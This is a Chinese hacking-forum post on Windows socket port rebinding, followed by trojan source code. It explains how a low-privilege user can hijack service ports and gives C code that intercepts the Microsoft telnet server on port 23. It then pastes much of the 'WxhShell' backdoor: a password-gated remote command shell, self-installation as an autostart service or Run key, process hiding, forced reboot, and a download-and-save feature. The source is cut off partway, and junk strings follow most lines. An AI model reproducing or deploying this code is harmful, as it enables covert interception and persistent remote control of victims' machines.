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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: q8e]{sT'!  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ESS1 L$y  
{t'SA]|g  
  saddr.sin_family = AF_INET; 1':};}dCJ  
H}usL)0&&  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ,MLAW  
6TQ[2%X'  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); O6q5qA  
AQ"rk9Z  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 R\6dvd  
-gb@BIV#  
  这意味着什么?意味着可以进行如下的攻击: ^v3J ld  
v)zxQuH]^  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 \/ Zo*/  
&y3;`A7,  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) q?0&0  
2XjH1  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 8)f/H&)>8  
R&/"?&pfa  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  sk t9mU  
e&<=+\ul  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 v+d`J55  
1:I _ ;O_  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 j2hp*C'^  
gb^'u  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。  `7V'A  
>(Wt  
  #include [/J(E\9  
  #include &_]bzTok  
  #include ?IiFFfs  
  #include    .z,`{-7U  
  DWORD WINAPI ClientThread(LPVOID lpParam);   G$lE0_j2{  
  int main() !,DA`Yt  
  { Qz<i{r-z  
  WORD wVersionRequested; jq/CXYv  
  DWORD ret; S)^eHuXPI  
  WSADATA wsaData; jyRz53  
  BOOL val; ch/DBu  
  SOCKADDR_IN saddr; O3p<7`K<4  
  SOCKADDR_IN scaddr; -}>H3hr  
  int err; Ee$F]NA  
  SOCKET s; Sjmq\A88dc  
  SOCKET sc; cw~-%%/  
  int caddsize; Ige*tOv2  
  HANDLE mt; RE;)#t?K  
  DWORD tid;   llpgi,-=  
  wVersionRequested = MAKEWORD( 2, 2 ); r)dXcus  
  err = WSAStartup( wVersionRequested, &wsaData ); zwlz zqV  
  if ( err != 0 ) { (6)X Fp&  
  printf("error!WSAStartup failed!\n"); o<Rrr,  
  return -1; XE:bYzH  
  } j|r$ ! gV  
  saddr.sin_family = AF_INET; '81WogH:  
   OV7SLf  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 n*eqM2L  
x{ VUl  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); xHn "D@  
  saddr.sin_port = htons(23); g`H;~ w  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) RWGAxq`9f  
  { 6#2E {uy;R  
  printf("error!socket failed!\n"); /8>we`4  
  return -1; P#2#i]-  
  } 7}Jn`^!  
  val = TRUE; )5s-"o<  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 MBFn s/  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) }Szs9-Wns  
  { tHH @[E+h  
  printf("error!setsockopt failed!\n"); ]ex2c{ G  
  return -1; KC-@2,c9V  
  } };~I#X  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 8-Z|$F"  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 >td\PW~X  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 <IQ}j^u-F  
e[.JS6  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) hJoh5DIE95  
  { E@)9'?q  
  ret=GetLastError(); ]7%+SH,RdD  
  printf("error!bind failed!\n"); $4>x4*  
  return -1; T'%R kag>  
  } k= .pcDX  
  listen(s,2); IU rGJ#}O  
  while(1) jbu+>  
  { 2,'%G\QT  
  caddsize = sizeof(scaddr); f_r4*#&v  
  //接受连接请求 (0 S;eM&  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); l]geQl:7`r  
  if(sc!=INVALID_SOCKET) ^A t,x  
  { ~"U^N:I"  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); (=QiXX1r  
  if(mt==NULL) XCE<].w  
  { o:RO(oA0?  
  printf("Thread Creat Failed!\n"); >m`<AynJ  
  break; !4fT<V (  
  } Y ^}c+)t  
  } WeS$$:ro  
  CloseHandle(mt); P<R'S  
  } f:/"OCig  
  closesocket(s);  @@+BPLl  
  WSACleanup(); *>7Zc  
  return 0; #}nDX4jI  
  }   @D=i|f  
  DWORD WINAPI ClientThread(LPVOID lpParam) Ug^vVc)  
  { A@ 4Oq  
  SOCKET ss = (SOCKET)lpParam; Qr*7bE(a  
  SOCKET sc; +bcJm  
  unsigned char buf[4096]; G/_9!lE  
  SOCKADDR_IN saddr; 1(m[L=H5>  
  long num; jRSY`MU}t+  
  DWORD val; zFO#oW,D  
  DWORD ret; %`^{Hh`  
  //如果是隐藏端口应用的话,可以在此处加一些判断 sj%\lq  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Xwk_QFv3  
  saddr.sin_family = AF_INET; M[5fNK&nD  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); E>x,$w<?  
  saddr.sin_port = htons(23); uBxs`'C  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) P&9&/0r=_  
  { "5$2b>_UE  
  printf("error!socket failed!\n"); [!>DQE  
  return -1; ;cW9NS3:  
  } @" BkLF  
  val = 100; OC_i,  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) +Uf+`  
  { ]*pro|  
  ret = GetLastError(); C4t@;U=x  
  return -1; s7na!A[  
  } oD7^9=#  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) _[u fH*  
  { >$N ?\\#  
  ret = GetLastError(); sGFC?1r?\  
  return -1; 2sNV09id  
  } f|-%.,  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) )E (9 R(  
  { ""u>5f  
  printf("error!socket connect failed!\n"); gC \^"m  
  closesocket(sc); h(3ko An  
  closesocket(ss); D;WQNlTU  
  return -1; Q a8;MxK`  
  } Dro2R_j{  
  while(1) b;Uqyc  
  { +C ){&/=#  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 1JSKK.LuJV  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 8+OcM ;0  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ''~#tK f  
  num = recv(ss,buf,4096,0); L&h90Az1W  
  if(num>0) /yO|Q{C}M8  
  send(sc,buf,num,0); $z*Y:vFP  
  else if(num==0) w2e 9Ue~WH  
  break; +'QE-#%{=  
  num = recv(sc,buf,4096,0); =hDFpb,mr  
  if(num>0) ZT%Q:]B+  
  send(ss,buf,num,0); (SGU]@)g  
  else if(num==0) rk .tLk  
  break; Z^SF $+UN  
  } VLs%;|`5D  
  closesocket(ss); ;$$.L bb8  
  closesocket(sc); oV Hh  
  return 0 ; \?rBtD(  
  } &WAJ;7f  
'r_NA!R  
]9/{  
========================================================== }KCb5_MDF  
M~t;&po  
下边附上一个代码,,WXhSHELL 5>*~1}0T  
fPu,@ L  
========================================================== 8^|lsB}x?  
qJPEq%'Q  
#include "stdafx.h" w.6Gp;O  
z]O,Vqpl?  
#include <stdio.h> QpC,komLJ  
#include <string.h> 2P4$^G[  
#include <windows.h> ; E]^7T  
#include <winsock2.h> G tSvb6UNn  
#include <winsvc.h> S, %BhQ[  
#include <urlmon.h> =%+o4\N,  
NM:\T1  
#pragma comment (lib, "Ws2_32.lib") l&4+v.zr  
#pragma comment (lib, "urlmon.lib") :r,o-D  
`' "125T  
#define MAX_USER   100 // 最大客户端连接数 l&LrcM  
#define BUF_SOCK   200 // sock buffer !%s&GD8&l  
#define KEY_BUFF   255 // 输入 buffer {Wp5Ane  
VwxLElV  
#define REBOOT     0   // 重启 huw|J<$  
#define SHUTDOWN   1   // 关机 wc.T;(  
H|i39XV  
#define DEF_PORT   5000 // 监听端口 {X'D07q  
3ZEV*=+T5  
#define REG_LEN     16   // 注册表键长度 I!OV+utF  
#define SVC_LEN     80   // NT服务名长度 B>"O~ gZ{#  
I"1H]@"=  
// 从dll定义API rp^G k  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); <>tQa5;  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); \uT y\KA  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 4Cl41a  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); O)E8'Oe"Q  
;mw$(ZKa#  
// wxhshell配置信息 _K5R?"H0  
struct WSCFG { C+=8?u<  
  int ws_port;         // 监听端口 <B %s9Zy  
  char ws_passstr[REG_LEN]; // 口令 =Pu;wx9  
  int ws_autoins;       // 安装标记, 1=yes 0=no xOAA1#   
  char ws_regname[REG_LEN]; // 注册表键名 ~$\9T.tre2  
  char ws_svcname[REG_LEN]; // 服务名 ;5(ptXX1W  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 8vL2<VT;  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 /PuN+M  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ,m)k;co^  
int ws_downexe;       // 下载执行标记, 1=yes 0=no !QTfQ69Y0  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ;@R=CQ6  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 =T0;F0@#4  
] s))O6^f  
}; l,n V*Z  
6~@S,i1  
// default Wxhshell configuration fi.[a8w:W  
struct WSCFG wscfg={DEF_PORT, QSxR@hC  
    "xuhuanlingzhe", 3w -0IP]<  
    1, WK<:(vu.  
    "Wxhshell", 6pCQP c*A  
    "Wxhshell", }KZt7)  
            "WxhShell Service", |)vC^=N{+  
    "Wrsky Windows CmdShell Service", 2sryhS'(H  
    "Please Input Your Password: ", iE;D_m.>`O  
  1, d@?++z  
  "http://www.wrsky.com/wxhshell.exe", v.Y?<=E+<d  
  "Wxhshell.exe"  ~;#OQ[  
    }; RMfKM! vE  
)=vQrMyB  
// 消息定义模块 'q_^28rK  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; bI_T\Eft  
char *msg_ws_prompt="\n\r? for help\n\r#>"; R rtr\ a  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; AsOkOS3  
char *msg_ws_ext="\n\rExit."; 5UgxuuP4  
char *msg_ws_end="\n\rQuit."; UHh7x%$n  
char *msg_ws_boot="\n\rReboot..."; ipThw p9  
char *msg_ws_poff="\n\rShutdown..."; ,sqx xq  
char *msg_ws_down="\n\rSave to "; AJ0 ;wx  
^DW vzfj  
char *msg_ws_err="\n\rErr!"; ]?#E5(V@x  
char *msg_ws_ok="\n\rOK!"; [10y13  
6|Qg=4_FHt  
char ExeFile[MAX_PATH]; /#C}1emK  
int nUser = 0; sBLf(Q,  
HANDLE handles[MAX_USER]; Mt93YD-2+  
int OsIsNt; PqJB&:ZV  
yDil  
SERVICE_STATUS       serviceStatus; \[57Dmo  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ,R~{$QUl  
|v6kZ0B<  
// 函数声明 3m#/1=@o  
int Install(void); ^z%ShmM&LZ  
int Uninstall(void); XJ3p<  
int DownloadFile(char *sURL, SOCKET wsh); Ww[Xqmg  
int Boot(int flag); P,}cH;w6Ck  
void HideProc(void); A./ VO  
int GetOsVer(void); `v|w&ty*  
int Wxhshell(SOCKET wsl); 1ab_^P  
void TalkWithClient(void *cs); 0S%xm'|N  
int CmdShell(SOCKET sock); l 7XeZ} S  
int StartFromService(void); nN]GO}  
int StartWxhshell(LPSTR lpCmdLine); 1j!LK-  
[K=M; $iQ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); l[AQyR1+/  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); KS3>c7  
lzE{e6  
// 数据结构和表定义 D\ ;(BB  
SERVICE_TABLE_ENTRY DispatchTable[] = [@&0@/s*t'  
{ K|{IX^3)V  
{wscfg.ws_svcname, NTServiceMain}, ? +q(,P@*  
{NULL, NULL} BIk0n;Kz<L  
}; xRI7_8Jpyn  
>OLKaghV.5  
// 自我安装 {#_CzI.0f  
int Install(void) ye-EJDZN  
{ U $2"ZyFii  
  char svExeFile[MAX_PATH]; 'BiR ,M$mY  
  HKEY key; =Lc!L !(,b  
  strcpy(svExeFile,ExeFile); Hrk]6*  
OtVRhR3>  
// 如果是win9x系统,修改注册表设为自启动 ]27  
if(!OsIsNt) { 5p}ri,Y<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0{q>'dv  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,dR<O.{ 0  
  RegCloseKey(key); l@irA tg4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  l:i&l?>_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ILU7Yhk  
  RegCloseKey(key); Tx19\\r  
  return 0; ;K$ !c5  
    } Mxmo}tt  
  } ev'` K=n8  
} VK]cZ%)  
else { 5{"v/nXV  
XY h)59oM%  
// 如果是NT以上系统,安装为系统服务 wqnHaWd*  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 6${=N}3Kw  
if (schSCManager!=0) ^vHh*Ub  
{ "PD^]m  
  SC_HANDLE schService = CreateService Sf>#Zqj/  
  ( cs]h+yE  
  schSCManager, pK|~G."6e  
  wscfg.ws_svcname, 2A95vC'u>|  
  wscfg.ws_svcdisp, -P.51q  
  SERVICE_ALL_ACCESS, %A$5mi^  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , JqmxS*_P  
  SERVICE_AUTO_START, n6xJ  
  SERVICE_ERROR_NORMAL, ]<xzCPB  
  svExeFile, B@ xjwBUk  
  NULL, RDSkFK( D  
  NULL, 3n!f'" T  
  NULL, /=(PMoZu  
  NULL, QhJuH_f 0  
  NULL B4Fuvi  
  ); wU5.t -|`  
  if (schService!=0) V"Sa9P{y"  
  { !0Mx Bem  
  CloseServiceHandle(schService); cSD$I^$oq  
  CloseServiceHandle(schSCManager); euyd(y$'k  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); # E{2 !Z  
  strcat(svExeFile,wscfg.ws_svcname); yp!7^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { A/c#2  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); k6$Ft.0d1Z  
  RegCloseKey(key); RD|DHio%  
  return 0; {44#<A<  
    } _yRD*2 !;  
  } gWu<5Y=C  
  CloseServiceHandle(schSCManager); DP8%/CV!*  
} 6KRC_-  
} ogvB{R  
WqJrDj~  
return 1; II'"Nkxd  
} 9R m\@E [  
xjy(f~'  
// 自我卸载 8-PHW,1@a3  
int Uninstall(void) W;T 5[  
{ Ntt*}|:QV<  
  HKEY key; W>j@E|m$  
]<*-pRN  
if(!OsIsNt) { ,x=S)t  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @g5qcjD'[  
  RegDeleteValue(key,wscfg.ws_regname); 4Jf9N'  
  RegCloseKey(key); r,HIoeAKP  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { q"e]\Tb=we  
  RegDeleteValue(key,wscfg.ws_regname); ~+)>D7  
  RegCloseKey(key); nCS" l5  
  return 0; `*ALb|4ilG  
  } c[>xM3=e^q  
} [Qqomm.[\w  
} bs&>QsI?j  
else { 8Drz i!}  
CUN1.i<pk8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); .]e_je_  
if (schSCManager!=0) )`BKEa f  
{ p/U{*i ]t  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 4:9N]1JCb  
  if (schService!=0) mIZ6[ ?  
  { :2.<JUDM  
  if(DeleteService(schService)!=0) { jx{wOb~oO)  
  CloseServiceHandle(schService); z*UgRLKZD  
  CloseServiceHandle(schSCManager); )*XD"-9  
  return 0; v&qL r+_7  
  } ^D76_'{  
  CloseServiceHandle(schService); +ag_w}  
  } `=$p!H8  
  CloseServiceHandle(schSCManager); i IM\_<?  
} I.[Lv7U-  
} }/lyrjV  
P-/"sD  
return 1; E)`:sSd9  
} }P'c8$  
v!W{j&N  
// 从指定url下载文件 PX*}.L *x  
int DownloadFile(char *sURL, SOCKET wsh) 1\a.o[g3e  
{ v5\5:b {/  
  HRESULT hr; V}Ee1C  
char seps[]= "/"; :,ucJ|  
char *token; #g/m^8n?s  
char *file; \10KIAQ  
char myURL[MAX_PATH]; Z(XohWe2  
char myFILE[MAX_PATH]; 3 "iBcsLn  
"AP$)xM-:  
strcpy(myURL,sURL); .I?~R:(Ig  
  token=strtok(myURL,seps); CTS1."kx1  
  while(token!=NULL) q B IekQT  
  { \n`/?\r.z  
    file=token; PthgxB^  
  token=strtok(NULL,seps); 4.p:$/GTS  
  } D94bq_2}  
l,*5*1lM  
GetCurrentDirectory(MAX_PATH,myFILE); Wu"1M^a  
strcat(myFILE, "\\"); g4u 6#.m(  
strcat(myFILE, file); pMJm@f  
  send(wsh,myFILE,strlen(myFILE),0); |BUgsE  
send(wsh,"...",3,0); @,j,GE%  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); +n<W#O %  
  if(hr==S_OK) "x vizvR  
return 0; /J(vqYK"  
else  wX5q=I  
return 1; 58d[>0Xa[g  
\wD L oR  
} r1TdjnP,2^  
H,c`=Ii3  
// 系统电源模块 Gr4v&Mz:  
int Boot(int flag)  o*Xfgc  
{ 9Z21|5  
  HANDLE hToken; n.rn+nuwv  
  TOKEN_PRIVILEGES tkp; nEUUD3a  
ps;dbY*s6  
  if(OsIsNt) { %E5b }E#  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 16>D?;2o(  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); P2@Z7DhQ  
    tkp.PrivilegeCount = 1; q^:VF()d_z  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 5rmU9L  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); j XH9P q4  
if(flag==REBOOT) { yM`u]p1  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) rvlvk"  
  return 0; 9;'#,b*(  
} IJ~j(.W  
else { |RXQ_|  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Vef!5]t5  
  return 0; 2kt0Rxg  
} aL_/2/@X8  
  } sPG500=)  
  else { qvLh7]sbK:  
if(flag==REBOOT) { yVgC1-8i*  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) KIi:5Y  
  return 0; "g)V&Lx#X  
} t>AOF\  
else { =7JSJ98  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) x. #E3xI  
  return 0; gXlcB~!  
} x9AFN  
} #%2d;V  
cS'{h  
return 1; zPx R=0|  
} W7Y@]QMX  
ggL/7I(  
// win9x进程隐藏模块 + c+i u6+"  
void HideProc(void) P6O\\,B1A  
{ 33EF/k3vW  
J jm={+@+  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); eZ+6U`^t  
  if ( hKernel != NULL ) .>eRX%  
  { NhCucSU<K  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); |1 "&[ .  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); EG`6T  
    FreeLibrary(hKernel); k#zDY*kj  
  } |?#JCG  
lOp. c U  
return; u5Vgi0}A  
} TIxOMYy  
bD0l^?Hu!  
// 获取操作系统版本 rVqQo` K\  
int GetOsVer(void) j<P;:  
{ s~].iQJ{B  
  OSVERSIONINFO winfo; W2#<]]-  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);  [#C6K '  
  GetVersionEx(&winfo); GdcXU:J /  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) >x JzV  
  return 1; ~1%*w*  
  else IJ&Lk=2E]  
  return 0; W-l+%T!  
} L7Hv)  
v@soS1V!  
// 客户端句柄模块 o0]YDX@T  
int Wxhshell(SOCKET wsl) nj'5iiV`]  
{ O-X(8<~H=  
  SOCKET wsh; Ga5*tWj  
  struct sockaddr_in client; :Y\ ~[Y  
  DWORD myID; **L&I5Hhm  
p X{wEc6}  
  while(nUser<MAX_USER) jwT` Z  
{ gDVsi  
  int nSize=sizeof(client); Q{|%kU"  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); DPjs? M<  
  if(wsh==INVALID_SOCKET) return 1; Lo%vG{yTr  
vI I{i  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); U8 Zb&6  
if(handles[nUser]==0) g ns}%\,  
  closesocket(wsh); Rey+3*zUb  
else `z\hQ%1!F  
  nUser++; _i}b]xfM  
  } tkT,M,]?9  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); B`Z3e%g#  
0#9H;j<Op  
  return 0; wKLYyetM!  
} e{@RBYX@+c  
ea"X$<s>-  
// 关闭 socket 1hY|XZ%qd  
void CloseIt(SOCKET wsh) | J3'#7  
{ 7h}gIm7e"  
closesocket(wsh); >) u;X  
nUser--; S>0%jCjW  
ExitThread(0); `P;r[j"  
} x*7A33@i  
!iKW1ks  
// 客户端请求句柄 ID2->J  
void TalkWithClient(void *cs) (vO3vCYeQ  
{ ]]PNYa  
%-blx)Pc  
  SOCKET wsh=(SOCKET)cs; N:)x67,  
  char pwd[SVC_LEN]; EL$DvJ~  
  char cmd[KEY_BUFF]; <#h,_WP*  
char chr[1]; z3uR1vF'  
int i,j; Y7.+ Ma#|  
A7Ql%$v7^  
  while (nUser < MAX_USER) { 94+^K=lAX  
}ouGxs+^[  
if(wscfg.ws_passstr) { bW6| &P}X  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~i"=:D  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); F<,pAxl~@  
  //ZeroMemory(pwd,KEY_BUFF); 3p=Xv%xd  
      i=0; E:x@O8F  
  while(i<SVC_LEN) { g:M;S"U3*Y  
K<e #y!  
  // 设置超时 yMz#e0k  
  fd_set FdRead; R%WY!I8C  
  struct timeval TimeOut; fWmc$r5n](  
  FD_ZERO(&FdRead); ,2fi`9=\  
  FD_SET(wsh,&FdRead); ]ZcivnN#  
  TimeOut.tv_sec=8; x vs=T  
  TimeOut.tv_usec=0; MW 7~=T  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); * @4@eQF  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 9fEe={ B+  
'Gn>~m  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); T]De{nHu  
  pwd=chr[0]; [7I bT:ph  
  if(chr[0]==0xd || chr[0]==0xa) { [f_^B U&  
  pwd=0; O`~#X w  
  break; OJcS%-~  
  } /aI@2]|~  
  i++; yjjq&Cn  
    } +>#SNZ[  
2R&\qZ<  
  // 如果是非法用户,关闭 socket 7#R)+  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); uvbVb"\"Yk  
} P\j\p =  
=y][j+WH  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); eTa_RO,x  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,ErfTg&^  
zWEPwOlI1P  
while(1) {  O`@Nl  
Fa%1] R  
  ZeroMemory(cmd,KEY_BUFF); e_=K0fFz  
@ wR3L:@  
      // 自动支持客户端 telnet标准   *6/IO&y1a  
  j=0; B>fZH \Y  
  while(j<KEY_BUFF) { y0d=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); eA4D.7HDK  
  cmd[j]=chr[0]; ,m=G9QcN  
  if(chr[0]==0xa || chr[0]==0xd) { EB[T 5{  
  cmd[j]=0; 4aS}b3=n  
  break; dEJqgp}\p  
  } {$^'oRk  
  j++; ?P'$Vxl  
    } <l<O2l  
]I\GnDJ^  
  // 下载文件 .^wpfS  
  if(strstr(cmd,"http://")) { c<_%KL&R  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); |UB$^)Twb  
  if(DownloadFile(cmd,wsh)) /3ohm|!rW  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); -!PJHCLd  
  else /f#b;qa,  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~!$"J}d}<  
  } ,&_H  
  else { X<%D@$  
FgH7YkKrD  
    switch(cmd[0]) { 3YvKHn|V"  
  ~m6=s~Vn  
  // 帮助 gK rUv0&F  
  case '?': { = QBvU)Ki  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); B]X8KzLu  
    break; "#~>q(4^  
  } w5%Yi {  
  // 安装 " @D  
  case 'i': { %zcA|SefP  
    if(Install()) e(t}$Q=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8FuxN2  
    else zS%XmS\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Pu3oQDldV  
    break; QF>T)1&J[7  
    } ;QBS0x\f@  
  // 卸载 : "85w#r  
  case 'r': { s)E  \  
    if(Uninstall()) }X)vktE+|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 296}LW  
    else sycAAmH<  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yqx5_}  
    break; (uC8M,I\  
    } fu5L)P^T  
  // 显示 wxhshell 所在路径 q/ljH_-  
  case 'p': { -ZaeX]^&Q\  
    char svExeFile[MAX_PATH]; @ZJL]TO  
    strcpy(svExeFile,"\n\r"); ?4b0\ -  
      strcat(svExeFile,ExeFile); -Uo11'{  
        send(wsh,svExeFile,strlen(svExeFile),0); FP=B/!g  
    break; c]^P$F8U  
    } .ck?JXg  
  // 重启 !l%:   
  case 'b': { sT)>Vdwf_  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Tc^ 0W=h  
    if(Boot(REBOOT)) E=8'!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zy,SL |6:  
    else { fmW{c mr|  
    closesocket(wsh); RDdnOzx  
    ExitThread(0); Ev7.!  
    } al2lC#Sy  
    break; 1=)M15  
    } ZwUBeyxS=c  
  // 关机 ? "I %K%  
